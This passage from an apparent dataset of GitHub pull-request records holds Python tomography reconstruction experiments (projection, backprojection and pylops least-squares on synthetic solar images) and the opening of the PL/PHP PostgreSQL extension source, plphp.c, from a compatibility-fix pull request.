axs[0].imshow(densities[:, :, i], vmin=0, vmax=150)#, vmin=0, vmax=5)\n        fig.colorbar(im)\n        im = axs[1].imshow(model[:, :, i], vmin=0, vmax=limit)\n        fig.colorbar(im)\n        fig.show()\n        fig.savefig(f\"/Users/jhughes/Desktop/projection_test/test_{i:03d}.png\")\n\n    # fig, axs = plt.subplots(ncols=2)\n    # axs[0].imshow(densities[:, :, 2], vmin=0, vmax=10)\n    # axs[1].imshow(model[:, :, 2], vmin=0, vmax=10)\n    # fig.show()\n    # fig.savefig(\"/Users/jhughes/Desktop/projection_test/reconstruction_0.png\")\n    #\n    # fig, axs = plt.subplots(ncols=2)\n    # axs[0].imshow(densities[:, :, 10], vmin=0, vmax=10)\n    # axs[1].imshow(model[:, :, 10], vmin=0, vmax=10)\n    # fig.show()\n    # fig.savefig(\"/Users/jhughes/Desktop/projection_test/reconstruction_1.png\")\n    #\n    #\n    # fig, axs = plt.subplots(ncols=2)\n    # axs[0].imshow(densities[:, :, 30], vmin=0, vmax=10)\n    # axs[1].imshow(model[:, :, 30], vmin=0, vmax=10)\n    # fig.show()\n    # fig.savefig(\"/Users/jhughes/Desktop/projection_test/reconstruction_2.png\")\n    #\n    #\n    # fig, axs = plt.subplots(ncols=2)\n    # axs[0].imshow(densities[:, :, 40], vmin=0, vmax=10)\n    # axs[1].imshow(model[:, :, 40], vmin=0, vmax=10)\n    # fig.show()\n    # fig.savefig(\"/Users/jhughes/Desktop/projection_test/reconstruction_3.png\")\n\n    end_time = datetime.now()\n    print(end_time - start_time)\n", "experiments_only_bpj.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\n\nfrom tomograpy import project_3d, backproject_3d\n\n\ndef z_rotation_matrix_3d(angle):\n    return np.array([[[np.cos(angle), np.sin(angle), 0],\n                      [-np.sin(angle), np.cos(angle), 0],\n                      [0, 0, 1]]])\n\n\nangles = np.linspace(0, np.pi, 14) + np.pi/60\n\nradius = 300\n\nimg_size = 100\ncube_size = 100\n# x, y = np.meshgrid(np.arange(img_size, dtype=np.float32), np.arange(img_size, dtype=np.float32))\n# z = np.zeros((img_size, img_size), dtype=np.float32)\ndensities = np.zeros((cube_size, cube_size, cube_size), dtype=np.float32)\n# densities[1:30, 1:30, 1:30] = 25\n# densities[80:90, 80:90, 80:90] = 5\ndensities[30:-30, 30:-30, 30:-30] = 100\ndensities[40:-40, 40:-40, 40:-40] = 0\n\n\n# densities[2, 2, 2] = 5\n# densities[8, 8, 2] = 8\n# densities[10:30, 10:30, 0:30] = 3\nmask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\nb = (0, 0, 0)\nb = (-cube_size / 2, -cube_size / 2, -cube_size / 2)\n\ndelta = (1.0, 1.0, 1.0)\n# unit_normal = (1E-7, 1E-7, 1.0)\npath_distance = 500.0\n\ntotal = np.zeros_like(densities)\n\nfor angle in angles:\n    t_angle = -angle + np.pi / 2  # np.deg2rad(np.abs(90*np.cos(angle)))\n\n    img_x = np.arange(img_size) - img_size / 2\n    img_y = np.zeros((img_size, img_size))\n    img_z = np.arange(img_size) - img_size / 2\n    img_x, img_z = np.meshgrid(img_x, img_z)\n\n    img_x, img_y, img_z = img_x.flatten(), img_y.flatten(), img_z.flatten()\n\n    R = z_rotation_matrix_3d(t_angle)\n    coords = (R @ np.stack([img_x, img_y, img_z]))[0]\n    img_x, img_y, img_z = coords[0], coords[1], coords[2]\n    img_x = radius * np.cos(angle) + img_x  # - img_size/2\n    img_y = radius * np.sin(angle) + img_y  # - img_size/2\n\n    xx = img_x.reshape((img_size, img_size)).astype(np.float32)\n    yy = -img_y.reshape((img_size, img_size)).astype(np.float32)\n    zz = img_z.reshape((img_size, img_size)).astype(np.float32)\n\n    v1 = np.array([xx[0, 1] - xx[0, 0], yy[0, 1] - yy[0, 0], zz[0, 1] - zz[0, 0]])\n    v2 = np.array([xx[1, 0] - xx[0, 0], yy[1, 0] - yy[0, 0], zz[1, 0] - zz[0, 0]])\n    v1 = v1 / np.linalg.norm(v1)\n    v2 = v2 / np.linalg.norm(v2)\n    normal = np.cross(v1, v2)\n    normal = normal / np.linalg.norm(normal)\n\n    norm = normal  # R @ np.array([1E-7, 1E-7, -1.0])\n    norm[norm == 0] = 1E-6\n    print(np.rad2deg(angle), np.rad2deg(t_angle), norm)\n\n    proj = project_3d(xx, yy, zz, densities, mask, b, delta, norm, path_distance)\n\n    fig, ax = plt.subplots()\n    im = ax.imshow(proj, origin='lower')\n    fig.colorbar(im)\n    fig.savefig(f\"/Users/jhughes/Desktop/projection_bpj/proj_{angle:0.3f}.png\")\n    plt.close()\n\n    result = backproject_3d(xx, yy, zz, proj.astype(np.float32),\n                       np.zeros_like(densities, dtype=np.float32),\n                       mask, b, delta, norm, path_distance, True)\n    print(result.shape)\n\n    scaling = densities.shape[0]\n    result = result / scaling\n\n    total += result\n# ((result - np.sum(proj)) / (len(self.xs)-1)).astype(np.float32)\n#result = result - np.sum(proj)\n\n# # Scale result to make sure that fbp(A, A(x)) == x holds at least\n# # to some approximation. In limited experiments, this is true for\n# # this version of FBP up to 1%.\n# # *Note*: For some reason, we do not have to scale with respect to\n# # the pixel dimension that is orthogonal to the rotation axis (`u`\n# # or horizontal pixel dimension). Hence, we only scale with the\n# # other pixel dimension (`v` or vertical pixel dimension).\n# vg, pg = A.astra_compat_vg, A.astra_compat_pg\n#\n# pixel_height = (pg.det_size[0] / pg.det_shape[0])\n# voxel_volume = np.prod(np.array(vg.size / np.array(vg.shape)))\n# scaling = (np.pi / pg.num_angles) * pixel_height / voxel_volume\n#\n# rec *= scaling\n# pixel_height = proj.size / proj.shape[0]\n# voxel_volume = np.prod(densities.size / np.array(densities.shape))\n# scaling = (np.pi / 1) * pixel_height / voxel_volume\n\ntotal /= len(angles)\n\nfor i in range(cube_size):\n    fig, axs = plt.subplots(ncols=2)\n    im = axs[0].imshow(densities[i, :, :], origin='lower', vmin=0, vmax=150)\n    fig.colorbar(im)\n\n    im = axs[1].imshow(total[i, :, :], origin='lower', vmin=0, vmax=150)\n    fig.colorbar(im)\n    fig.savefig(f\"/Users/jhughes/Desktop/projection_bpj/{i:03d}.png\")\n    plt.close()\n", "experiments_single_view.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\n\nfrom tomograpy import project_3d, backproject_3d\n\n\ndef z_rotation_matrix_3d(angle):\n    return np.array([[[np.cos(angle), np.sin(angle), 0],\n                      [-np.sin(angle), np.cos(angle), 0],\n                      [0, 0, 1]]])\n\nangle =  np.pi/2\nradius = 100\n\nimg_size = 100\ncube_size = 100\n# x, y = np.meshgrid(np.arange(img_size, dtype=np.float32), np.arange(img_size, dtype=np.float32))\n# z = np.zeros((img_size, img_size), dtype=np.float32)\ndensities = np.zeros((cube_size, cube_size, cube_size), dtype=np.float32)\ndensities[1:30, 1:30, 1:30] = 25\ndensities[80:90, 80:90, 80:90] = 5\n\n# densities[2, 2, 2] = 5\n# densities[8, 8, 2] = 8\n# densities[10:30, 10:30, 0:30] = 3\nmask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\nb = (0, 0, 0)\nb = (-cube_size / 2, -cube_size / 2, -cube_size / 2)\n\ndelta = (1.0, 1.0, 1.0)\n#unit_normal = (1E-7, 1E-7, 1.0)\npath_distance = 500.0\n\nt_angle = -angle + np.pi / 2  # np.deg2rad(np.abs(90*np.cos(angle)))\n\nimg_x = np.arange(img_size) - img_size / 2\nimg_y = np.zeros((img_size, img_size))\nimg_z = np.arange(img_size) - img_size / 2\nimg_x, img_z = np.meshgrid(img_x, img_z)\n\nimg_x, img_y, img_z = img_x.flatten(), img_y.flatten(), img_z.flatten()\n\nR = z_rotation_matrix_3d(t_angle)\ncoords = (R @ np.stack([img_x, img_y, img_z]))[0]\nimg_x, img_y, img_z = coords[0], coords[1], coords[2]\nimg_x = radius * np.cos(angle) + img_x  # - img_size/2\nimg_y = radius * np.sin(angle) + img_y  # - img_size/2\n\nxx = img_x.reshape((img_size, img_size)).astype(np.float32)\nyy = -img_y.reshape((img_size, img_size)).astype(np.float32)\nzz = img_z.reshape((img_size, img_size)).astype(np.float32)\n\nv1 = np.array([xx[0, 1] - xx[0, 0], yy[0, 1] - yy[0, 0], zz[0, 1] - zz[0, 0]])\nv2 = np.array([xx[1, 0] - xx[0, 0], yy[1, 0] - yy[0, 0], zz[1, 0] - zz[0, 0]])\nv1 = v1 / np.linalg.norm(v1)\nv2 = v2 / np.linalg.norm(v2)\nnormal = np.cross(v1, v2)\nnormal = normal / np.linalg.norm(normal)\n\nnorm = normal  # R @ np.array([1E-7, 1E-7, -1.0])\nnorm[norm == 0] = 1E-6\nprint(np.rad2deg(angle), np.rad2deg(t_angle), norm)\n\nproj = project_3d(xx, yy, zz, densities, mask, b, delta, norm, path_distance)\n\nfig, ax = plt.subplots()\nim = ax.imshow(proj, origin='lower')\nfig.colorbar(im)\nfig.savefig(\"/Users/jhughes/Desktop/projection_test2/proj.png\")\nplt.close()\n\nresult = backproject_3d(xx, yy, zz, proj.astype(np.float32),\n                   np.zeros_like(densities, dtype=np.float32),\n                   mask, b, delta, norm, path_distance, True)\nprint(result.shape)\n# ((result - np.sum(proj)) / (len(self.xs)-1)).astype(np.float32)\n#result = result - np.sum(proj)\n\n# # Scale result to make sure that fbp(A, A(x)) == x holds at least\n# # to some approximation. In limited experiments, this is true for\n# # this version of FBP up to 1%.\n# # *Note*: For some reason, we do not have to scale with respect to\n# # the pixel dimension that is orthogonal to the rotation axis (`u`\n# # or horizontal pixel dimension). Hence, we only scale with the\n# # other pixel dimension (`v` or vertical pixel dimension).\n# vg, pg = A.astra_compat_vg, A.astra_compat_pg\n#\n# pixel_height = (pg.det_size[0] / pg.det_shape[0])\n# voxel_volume = np.prod(np.array(vg.size / np.array(vg.shape)))\n# scaling = (np.pi / pg.num_angles) * pixel_height / voxel_volume\n#\n# rec *= scaling\n# pixel_height = proj.size / proj.shape[0]\n# voxel_volume = np.prod(densities.size / np.array(densities.shape))\n# scaling = (np.pi / 1) * pixel_height / voxel_volume\nscaling = densities.shape[0]\nresult = result / scaling\n\nfor i in range(cube_size):\n    fig, axs = plt.subplots(ncols=2)\n    im = axs[0].imshow(densities[i, :, :], origin='lower')\n    fig.colorbar(im)\n\n    im = axs[1].imshow(result[i, :, :], origin='lower')\n    fig.colorbar(im)\n    fig.savefig(f\"/Users/jhughes/Desktop/projection_test2/{i:03d}.png\")\n    plt.close()\n", "experiments_solar.py": "import matplotlib.pyplot as plt\nimport numpy as np\nimport pylops\nfrom datetime import datetime\nfrom glob import glob\nfrom astropy.io import fits\nimport os\nfrom itertools import chain\nfrom tomograpy import project_3d, backproject_3d\nfrom pylops.basicoperators import FunctionOperator\nfrom pylops import LinearOperator, lsqr\nfrom skimage.transform import resize\n\n\ndef z_rotation_matrix_3d(angle):\n    return np.array([[[np.cos(angle), np.sin(angle), 0],\n                      [-np.sin(angle), np.cos(angle), 0],\n                      [0, 0, 1]]])\n\n\nif __name__ == \"__main__\":\n    print(\"Test started\")\n    start_time = datetime.now()\n\n    angles = list(chain(range(70, 80), range(130, 140)))\n    rad_angles = np.deg2rad(angles)\n\n    path = \"/Users/jhughes/Desktop/data/synthetic COMPLETE data/1 degree/\"\n    filenames = glob(path + \"*.fits\")\n    loaded_imgs = {np.deg2rad(angle): fits.open(os.path.join(path + f\"comp_wl_284_ang_{angle}.fits\"))[0].data for angle in angles}\n\n    radius = 300\n\n    img_size = 100\n    cube_size = 100\n\n    densities = np.zeros((cube_size, cube_size, cube_size), dtype=np.float32)\n    mask = np.ones((cube_size, cube_size, cube_size), dtype=bool)\n\n    b = (0, 0, 0)\n    b = (-cube_size / 2, -cube_size / 2, -cube_size / 2)\n\n    delta = (1.0, 1.0, 1.0)\n    path_distance = 500.0\n\n    norms, xs, ys, zs, ds, imgs = [], [], [], [], [], []\n    #angles = np.array([0, 30])\n    for angle in rad_angles:\n        t_angle = -angle + np.pi/2 #np.deg2rad(np.abs(90*np.cos(angle)))\n\n        img_x = np.arange(img_size) - img_size / 2\n        img_y = np.zeros((img_size, img_size))\n        img_z = np.arange(img_size) - img_size / 2\n        img_x, img_z = np.meshgrid(img_x, img_z)\n\n        img_x, img_y, img_z = img_x.flatten(), img_y.flatten(), img_z.flatten()\n\n        R = z_rotation_matrix_3d(t_angle)\n        coords = (R @ np.stack([img_x, img_y, img_z]))[0]\n        img_x, img_y, img_z = coords[0], coords[1], coords[2]\n        img_x = radius * np.cos(angle) + img_x  # - img_size/2\n        img_y = radius * np.sin(angle) + img_y  # - img_size/2\n\n        xx = img_x.reshape((img_size, img_size)).astype(np.float32)\n        yy = -img_y.reshape((img_size, img_size)).astype(np.float32)\n        zz = img_z.reshape((img_size, img_size)).astype(np.float32)\n\n        v1 = np.array([xx[0, 1] - xx[0, 0], yy[0, 1] - yy[0, 0], zz[0, 1] - zz[0, 0]])\n        v2 = np.array([xx[1, 0] - xx[0, 0], yy[1, 0] - yy[0, 0], zz[1, 0] - zz[0, 0]])\n        v1 = v1 / np.linalg.norm(v1)\n        v2 = v2 / np.linalg.norm(v2)\n        normal = np.cross(v1, v2)\n        normal = normal / np.linalg.norm(normal)\n\n        norm = normal  # R @ np.array([1E-7, 1E-7, -1.0])\n        norm[norm == 0] = 1E-6\n        norms.append(norm)\n        print(np.rad2deg(angle), np.rad2deg(t_angle), norm)\n\n        d = 500\n        img = resize(loaded_imgs[angle], (img_size, img_size))  #project_3d(xx, yy, zz, densities, mask, b, delta, norm, d)\n        xs.append(xx)\n        ys.append(yy)\n        zs.append(zz)\n        ds.append(d)\n        imgs.append(img.astype(np.float32))\n    imgs = np.array(imgs)\n\n    # show\n    for angle, img in zip(rad_angles, imgs):\n        fig, ax = plt.subplots()\n        im = ax.imshow(img)\n        fig.colorbar(im)\n        fig.savefig(f\"/Users/jhughes/Desktop/projection_solar/{int(np.rad2deg(angle)):03d}.png\")\n        plt.close()\n    #\n    # model = np.zeros(densities.shape, dtype=np.float32)\n    # for i, img in enumerate(imgs.reshape(len(xs), xs[0].shape[0], xs[0].shape[1])):\n    #     model = backproject_3d(xs[i], ys[i], zs[i], img,\n    #                                 model,\n    #                                 mask, b, delta, norms[i], ds[i], True)\n    # total = np.sum(img)\n    # print(total, img.shape, imgs.shape)\n    # model = ((model - total) / (len(imgs) - 1)).astype(np.float32)\n\n    # # # 3d plot\n    # fig = plt.figure()\n    # ax = fig.add_subplot(projection='3d')\n    #\n    # n = 100\n    #\n    # for x, y, z in zip(xs, ys, zs):\n    #     ax.scatter(x, y, z)\n    #\n    # # for norm, sx, sy in zip(norms, shift_xs, shift_ys):\n    # #     print(\"TEST\", norm)\n    # #     ax.plot([0+sx, 100*norm[0]+sx], [0, 100*norm[1]], [0+sy, sy+100*norm[2]])\n    #\n    # ax.set_xlabel('X Label')\n    # ax.set_ylabel('Y Label')\n    # ax.set_zlabel('Z Label')\n    #\n    # plt.show()\n\n\n    class Tomo(LinearOperator):\n        def __init__(self, xs, ys, zs, norms, ds, b, delta, model_shape, mask, dtype=None):\n            self.xs = xs\n            self.ys = ys\n            self.zs = zs\n            self.norms = norms\n            self.ds = ds\n            self.b = b\n            self.delta = delta\n            self.model_shape = model_shape\n            self.mask = mask\n            super().__init__(dtype=np.dtype(dtype),\n                             dims=self.model_shape,\n                             dimsd=(len(self.xs), self.xs[0].shape[0], self.xs[0].shape[1]))\n\n        def _matvec(self, densities):\n            return np.array([project_3d(x, y, z, densities.reshape(self.model_shape).astype(np.float32),\n                                        self.mask, self.b, self.delta, norm, d)\n                    for x, y, z, norm, d in zip(self.xs, self.ys, self.zs, self.norms, self.ds)]).flatten()\n\n        def _rmatvec(self, imgs):\n            densitiesi = np.zeros(self.model_shape, dtype=np.float32)\n            for i, img in enumerate(imgs.reshape(len(self.xs), self.xs[0].shape[0], self.xs[0].shape[1])):\n                # densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n                #                densitiesi,\n                #                self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n                densitiesi += backproject_3d(self.xs[i], self.ys[i], self.zs[i], img,\n                                             np.zeros_like(densitiesi).astype(np.float32),\n                                             self.mask, self.b, self.delta, self.norms[i], self.ds[i], True)\n            # return ((densitiesi - np.sum(img)) / (len(self.xs)-1)).astype(np.float32)\n            return densitiesi.flatten().astype(np.float32) #/ densitiesi.shape[0] / len(self.xs)\n            #return densitiesi.flatten().astype(np.float32)\n\n    print(len(xs))\n    op = Tomo(xs, ys, zs, norms, ds, b, delta, densities.shape, mask, dtype=np.float32)\n\n    Dop = [\n        pylops.FirstDerivative(\n            (cube_size, cube_size, cube_size), axis=0, edge=False, kind=\"backward\", dtype=np.float32\n        ),\n        pylops.FirstDerivative(\n            (cube_size, cube_size, cube_size), axis=1, edge=False, kind=\"backward\", dtype=np.float32\n        ),\n        pylops.FirstDerivative(\n            (cube_size, cube_size, cube_size), axis=2, edge=False, kind=\"backward\", dtype=np.float32\n        )\n    ]\n    #\n    # # TV\n    # mu = 1.5\n    # lamda = [0.1, 0.1, 0.1]\n    # niter_out = 2\n    # niter_in = 1\n    #\n    # model = pylops.optimization.sparsity.splitbregman(\n    #     op,\n    #     imgs.ravel(),\n    #     Dop,\n    #     niter_outer=niter_out,\n    #     niter_inner=niter_in,\n    #     mu=mu,\n    #     epsRL1s=lamda,\n    #     tol=1e-4,\n    #     tau=1.0,\n    #     show=True,\n    #     **dict(iter_lim=5, damp=1e-4)\n    # )[0]\n\n    # model = op / imgs.flatten()\n    # model = pylops.optimization.leastsquares.regularized_inversion(\n    #     op, imgs.flatten(), Dop, **dict(iter_lim=10, show=True, atol=1E-8, btol=1E-8)\n    # )[0]\n    #\n    # model = pylops.optimization.basic.lsqr(op, imgs.flatten(),  x0=np.random.rand(*densities.flatten().shape).astype(np.float32),\n    #                                        niter=100, show=True, damp=0)[0]\n    model = pylops.optimization.basic.lsqr(op, imgs.flatten(), niter=3, show=True)[0]#, x0 = np.random.randint(0, 30, densities.shape))[0] # x0=densities.flatten() + 50 * np.random.rand(*densities.flatten().shape).astype(np.float32) - 25)[0]\n                                           #                                        niter=100, show=True, damp=0)[0]\n    #model = pylops.optimization.basic.lsqr(op, imgs.flatten(), x0=densities.flatten(), niter=10, show=True)[0]\n    # model = pylops.optimization.basic.lsqr(op, imgs.flatten(), niter=1, show=True)[0]\n\n    # from pylops.optimization.cls_sparsity import FISTA\n    #\n    # fistasolver = FISTA(op)\n    #\n    # model = fistasolver.solve(imgs.flatten(), niter=2, show=True)[0]\n\n    #model = pylops.optimization.basic.cgls(op, imgs.flatten(), niter=10, show=True)[0]\n    model = model.reshape(densities.shape)\n\n    np.save(\"/Users/jhughes/Desktop/projection_solar/cube.npy\", model)\n    limit = np.nanpercentile(model, 95)\n\n    for i in range(cube_size):\n        fig, ax = plt.subplots()\n        im = ax.imshow(model[:, :, i], vmin=0, vmax=limit)\n        fig.colorbar(im)\n        fig.show()\n        fig.savefig(f\"/Users/jhughes/Desktop/projection_solar/test_{i:03d}.png\")\n\n    reconstructions = op @ model.flatten()\n    reconstructions = reconstructions.reshape((len(xs), img_size, img_size))\n\n    for i, angle in enumerate(rad_angles):\n        fig, axs = plt.subplots(ncols=2)\n        im = axs[0].imshow(imgs[i])\n        fig.colorbar(im)\n        im = axs[1].imshow(reconstructions[i])\n        fig.colorbar(im)\n        fig.show()\n        fig.savefig(f\"/Users/jhughes/Desktop/projection_solar/recon_{np.rad2deg(angle)}.png\")\n\n\n\n    end_time = datetime.now()\n    print(end_time - start_time)\n", "python/tomograpy/__init__.py": "from .tomograpy import *\nfrom . import third\n\n\n__doc__ = tomograpy.__doc__\nif hasattr(tomograpy, \"__all__\"):\n    __all__ = tomograpy.__all__\n", "python/tomograpy/coordinates.py": "", "python/tomograpy/third.py": "import numpy as np\n\ndef print_hello(name):\n    print(f\"hello {name}\")\n\n"}}
{"repo": "commandprompt/PL-php", "pr_number": 6, "title": "fix postgresql 9.4 / php 5.5 issues", "state": "open", "merged_at": null, "additions": 5, "deletions": 2, "files_changed": ["plphp.c", "plphp_io.c", "plphp_spi.c"], "files_before": {"plphp.c": "/**********************************************************************\n * plphp.c - PHP as a procedural language for PostgreSQL\n *\n * This software is copyright (c) Command Prompt Inc.\n *\n * The author hereby grants permission to use, copy, modify,\n * distribute, and license this software and its documentation for any\n * purpose, provided that existing copyright notices are retained in\n * all copies and that this notice is included verbatim in any\n * distributions. No written agreement, license, or royalty fee is\n * required for any of the authorized uses.  Modifications to this\n * software may be copyrighted by their author and need not follow the\n * licensing terms described here, provided that the new terms are\n * clearly indicated on the first page of each file where they apply.\n *\n * IN NO EVENT SHALL THE AUTHOR OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n * FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n * ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n * DERIVATIVES THEREOF, EVEN IF THE AUTHOR HAVE BEEN ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * THE AUTHOR AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\n * NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS,\n * AND THE AUTHOR AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\n * MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n *\n * IDENTIFICATION\n *\t\t$Id$\n *********************************************************************\n */\n\n\n/* Package configuration generated by autoconf */\n#include \"config.h\"\n\n/* First round of undefs, to eliminate collision between plphp and postgresql\n * definitions\n */\n \n#undef PACKAGE_BUGREPORT\n#undef PACKAGE_NAME\n#undef PACKAGE_STRING\n#undef PACKAGE_TARNAME\n#undef PACKAGE_VERSION\n\n/* PostgreSQL stuff */\n#include \"postgres.h\"\n#include \"access/heapam.h\"\n#include \"access/transam.h\"\n\n#include \"catalog/catversion.h\"\n#include \"catalog/pg_language.h\"\n#include \"catalog/pg_proc.h\"\n#include \"catalog/pg_type.h\"\n\n#include \"commands/trigger.h\"\n#include \"fmgr.h\"\n#include \"funcapi.h\"\t\t\t/* needed for SRF support */\n#include \"lib/stringinfo.h\"\n\n#include \"utils/array.h\"\n#include \"utils/builtins.h\"\n#include \"utils/elog.h\"\n#include \"utils/lsyscache.h\"\n#include \"utils/memutils.h\"\n#include \"utils/rel.h\"\n#include \"utils/syscache.h\"\n#include \"utils/typcache.h\"\n\n/*\n * These are defined again in php.h, so undef them to avoid some\n * cpp warnings.\n */\n#undef PACKAGE_BUGREPORT\n#undef PACKAGE_NAME\n#undef PACKAGE_STRING\n#undef PACKAGE_TARNAME\n#undef PACKAGE_VERSION\n\n/* PHP stuff */\n#include \"php.h\"\n\n#include \"php_variables.h\"\n#include \"php_globals.h\"\n#include \"zend_hash.h\"\n#include \"zend_modules.h\"\n\n#include \"php_ini.h\"\t\t\t/* needed for INI_HARDCODED */\n#include \"php_main.h\"\n\n/* Our own stuff */\n#include \"plphp_io.h\"\n#include \"plphp_spi.h\"\n\n/* system stuff */\n#if HAVE_FCNTL_H\n#include <fcntl.h>\n#endif\n#if HAVE_UNISTD_H\n#include <unistd.h>\n#endif\n\n#define INI_HARDCODED(name,value) \\\n\t\tzend_alter_ini_entry(name, sizeof(name), value, strlen(value), \\\n\t\t\t\t\t\t\t PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);\n\n/* Check for PostgreSQL version */\n#if (CATALOG_VERSION_NO >= 200709301)\n#define PG_VERSION_83_COMPAT\n#endif\n#if (CATALOG_VERSION_NO >= 200611241)\n#define PG_VERSION_82_COMPAT\n#endif\n/* We only support 8.1 and above */\n#if (CATALOG_VERSION_NO >= 200510211)\n#define PG_VERSION_81_COMPAT\n#else\n#error \"Unsupported PostgreSQL version\"\n#endif\n\n#undef DEBUG_PLPHP_MEMORY\n\n#ifdef DEBUG_PLPHP_MEMORY\n#define REPORT_PHP_MEMUSAGE(where) \\\n\telog(NOTICE, \"PHP mem usage: %s: %u\", where, AG(allocated_memory));\n#else\n#define REPORT_PHP_MEMUSAGE(a) \n#endif\n\n/* PostgreSQL starting from v 8.2 requires this define\n * for all modules.\n */\n#ifdef PG_VERSION_82_COMPAT\nPG_MODULE_MAGIC;\n#else\n/* Supress warnings on 8.1 and below */\n#define ReleaseTupleDesc(tupdesc) \n#endif\n\n/* PHP 5.2 and earlier do not contain these definitions */\n#ifndef Z_SET_ISREF_P\n#define Z_SET_ISREF_P(foo) (foo)->is_ref = 1\n#define Z_UNSET_ISREF_P(foo) (foo)->is_ref = 0\n#endif\n\n/* 8.2 compatibility */\n#ifndef TYPTYPE_PSEUDO\n#define TYPTYPE_PSEUDO 'p'\n#define TYPTYPE_COMPOSITE 'c'\n#endif\n\n/* Check the argument type to expect to accept an initial value */\n#define IS_ARGMODE_OUT(mode) ((mode) == PROARGMODE_OUT || \\\n(mode) == PROARGMODE_TABLE)\n/*\n * Return types.  Why on earth is this a bitmask?  Beats me.\n * We should have separate flags instead.\n */\ntypedef enum pl_type\n{\n\tPL_TUPLE = 1 << 0,\n\tPL_ARRAY = 1 << 1,\n\tPL_PSEUDO = 1 << 2\n} pl_type;\n\n/*\n * The information we cache about loaded procedures.\n *\n * \"proname\" is the name of the function, given by the user.\n *\n * fn_xmin and fn_cmin are used to know when a function has been redefined and\n * needs to be recompiled.\n *\n * trusted indicates whether the function was created with a trusted handler.\n *\n * ret_type is a weird bitmask that indicates whether this function returns a\n * tuple, an array or a pseudotype.  ret_oid is the Oid of the return type.\n * retset indicates whether the function was declared to return a set.\n *\n * arg_argmode indicates whether the argument is IN, OUT or both. It follows\n * values in pg_proc.proargmodes.\n *\n * n_out_args - total number of OUT or INOUT arguments.\n * arg_out_tupdesc is a tuple descriptor of the tuple constructed for OUT args.\n *\n * XXX -- maybe this thing needs to be rethought.\n */\ntypedef struct plphp_proc_desc\n{\n\tchar\t   *proname;\n\tTransactionId fn_xmin;\n\tCommandId\tfn_cmin;\n\tbool\t\ttrusted;\n\tpl_type\t\tret_type;\n\tOid\t\t\tret_oid;\t\t/* Oid of returning type */\n\tbool\t\tretset;\n\tFmgrInfo\tresult_in_func;\n\tOid\t\t\tresult_typioparam;\n\tint\t\t\tn_out_args;\n\tint\t\t\tn_total_args;\n\tint\t\t\tn_mixed_args;\n\tFmgrInfo\targ_out_func[FUNC_MAX_ARGS];\n\tOid\t\t\targ_typioparam[FUNC_MAX_ARGS];\n\tchar\t\targ_typtype[FUNC_MAX_ARGS];\n\tchar\t\targ_argmode[FUNC_MAX_ARGS];\n\tTupleDesc\targs_out_tupdesc;\n} plphp_proc_desc;\n\n/*\n * Global data\n */\nstatic bool plphp_first_call = true;\nstatic zval *plphp_proc_array = NULL;\n\n/* for PHP write/flush */\nstatic StringInfo currmsg = NULL;\n\n/*\n * for PHP <-> Postgres error message passing\n *\n * XXX -- it would be much better if we could save errcontext,\n * errhint, etc as well.\n */\nstatic char *error_msg = NULL;\n/*\n * Forward declarations\n */\nstatic void plphp_init_all(void);\nvoid\t\tplphp_init(void);\n\nPG_FUNCTION_INFO_V1(plphp_call_handler);\nDatum plphp_call_handler(PG_FUNCTION_ARGS);\n\nPG_FUNCTION_INFO_V1(plphp_validator);\nDatum plphp_validator(PG_FUNCTION_ARGS);\n\nstatic Datum plphp_trigger_handler(FunctionCallInfo fcinfo,\n\t\t\t\t\t\t\t\t   plphp_proc_desc *desc\n\t\t\t\t\t\t\t\t   TSRMLS_DC);\nstatic Datum plphp_func_handler(FunctionCallInfo fcinfo,\n\t\t\t\t\t\t\t    plphp_proc_desc *desc\n\t\t\t\t\t\t\t\tTSRMLS_DC);\nstatic Datum plphp_srf_handler(FunctionCallInfo fcinfo,\n\t\t\t\t\t\t   \t   plphp_proc_desc *desc\n\t\t\t\t\t\t\t   TSRMLS_DC);\n\nstatic plphp_proc_desc *plphp_compile_function(Oid fnoid, bool is_trigger TSRMLS_DC);\nstatic zval *plphp_call_php_func(plphp_proc_desc *desc,\n\t\t\t\t\t\t\t\t FunctionCallInfo fcinfo\n\t\t\t\t\t\t\t\t TSRMLS_DC);\nstatic zval *plphp_call_php_trig(plphp_proc_desc *desc,\n\t\t\t\t\t\t\t\t FunctionCallInfo fcinfo, zval *trigdata\n\t\t\t\t\t\t\t\t TSRMLS_DC);\n\nstatic void plphp_error_cb(int type, const char *filename, const uint lineno,\n\t\t\t\t\t\t\t\t  const char *fmt, va_list args);\nstatic bool is_valid_php_identifier(char *name);\n\n/*\n * FIXME -- this comment is quite misleading actually, which is not surprising\n * since it came verbatim from PL/pgSQL.  Rewrite memory handling here someday\n * and remove it.\n *\n * This routine is a crock, and so is everyplace that calls it.  The problem\n * is that the cached form of plphp functions/queries is allocated permanently\n * (mostly via malloc()) and never released until backend exit.  Subsidiary\n * data structures such as fmgr info records therefore must live forever\n * as well.  A better implementation would store all this stuff in a per-\n * function memory context that could be reclaimed at need.  In the meantime,\n * fmgr_info_cxt must be called specifying TopMemoryContext so that whatever\n * it might allocate, and whatever the eventual function might allocate using\n * fn_mcxt, will live forever too.\n */\nstatic void\nperm_fmgr_info(Oid functionId, FmgrInfo *finfo)\n{\n\tfmgr_info_cxt(functionId, finfo, TopMemoryContext);\n}\n\n/*\n * sapi_plphp_write\n * \t\tCalled when PHP wants to write something to stdout.\n *\n * We just save the output in a StringInfo until the next Flush call.\n */\nstatic int\nsapi_plphp_write(const char *str, uint str_length TSRMLS_DC)\n{\n\tif (currmsg == 